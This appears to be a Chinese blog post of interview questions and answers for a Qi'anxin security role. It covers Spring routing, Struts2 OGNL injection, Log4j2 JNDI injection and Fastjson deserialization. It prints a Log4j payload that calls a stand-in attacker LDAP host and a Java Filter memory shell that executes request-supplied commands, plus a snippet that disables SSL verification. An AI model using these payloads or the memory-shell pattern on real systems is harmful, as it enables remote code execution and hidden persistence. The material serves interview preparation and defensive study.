当前位置: 首页 > article >正文

25届春招奇安信2面。。。

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1 Spring Boot 路由表示方式

答案
通过注解直接定义,如:

@GetMapping("/user/{id}")  
public User getUser(@PathVariable String id) { ... }  

2 其他路由表示方式

答案

  • 实现 WebMvcConfigurer 接口,重写 addViewControllers()

  • 旧版 Spring 使用 @RequestMappingmethod 属性(如 method = RequestMethod.GET)。

3 路由注解统称

答案
统称为 请求映射注解(Request Mapping Annotations)。

4 Mybatis 映射文件存放位置

答案
默认在 src/main/resources/mapper/ 目录下,或通过 @MapperScan 指定包路径。

5 Struts2 相关经验

答案
Struts2 漏洞多由 OGNL 表达式注入引起(如 S2-045)。需熟悉漏洞原理及 Payload 构造(如 %{#_memberAccess=...})。

6. Python 爬虫跳过 SSL 证书验证

答案
使用 requests 库时设置 verify=False,并禁用警告:

import requests  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
response = requests.get("https://example.com", verify=False)  

7. Log4j2 漏洞利用函数

答案
关键函数为 lookup(),通过 jndi: 协议触发 JNDI 注入。攻击 Payload:

${jndi:ldap://attacker.com/Exploit}  

8. JNDI 注入配合的协议

答案

  • RMI:动态加载远程类。

  • LDAP:指向恶意服务器返回 Exploit 代码。

  • DNS:用于信息泄露或探测漏洞存在性。

  • IIOP(CORBA):较少见,但可结合利用。

9. 通过 Fastjson 注入内存马

答案
步骤

  1. 利用 Fastjson 反序列化漏洞:构造恶意 JSON,触发 JNDI 注入。

  2. 加载内存马代码:远程类实现 ServletContainerInitializer,在 onStartup() 中注册 Filter。

  3. Filter 内存马示例
    public class EvilFilter implements Filter {  
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {  
            // 执行任意命令  
            Runtime.getRuntime().exec(req.getParameter("cmd"));  
        }  
    }  
    
  4. 持久化:通过反射将 Filter 添加到 FilterChain,无需写入文件系统。


http://www.kler.cn/a/598554.html

相关文章:

  • 【YOLO项目】毕设大作业之车道线检测
  • Super Logic Region (SLR) 在Xilinx FPGA架构
  • SQL Server Management Studio(SSMS)安装教程
  • 分布式算法:Paxos Raft 两种共识算法
  • 【MySQL】MySQL登录,访问,退出操作
  • Visual Studio(VS)的 Release 配置中生成程序数据库(PDB)文件
  • PostgreSQL_实例项目总述
  • 推荐算法分析
  • 3.22刷题
  • 实现分布式锁需要考虑哪些问题?
  • 2025高频面试算法总结篇【链表堆栈队列】
  • olmOCR模型论文解读
  • ArkUI-List组件
  • docker-容器编排2
  • 第六届电气、电子信息与通信工程国际学术会议 (EEICE 2025)
  • 使用Python开发智能家居系统:基于语音命令的设备控制
  • 基于Spring Boot的图书管理系统的设计与实现(LW+源码+讲解)
  • 编程考古-安德斯·海尔斯伯格(Anders Hejlsberg)讲解数据结构-链表优化技巧
  • FlauBERT:面向法语的无监督语言模型预训练
  • const count = ref(0);是什么意思。count最终会是什么值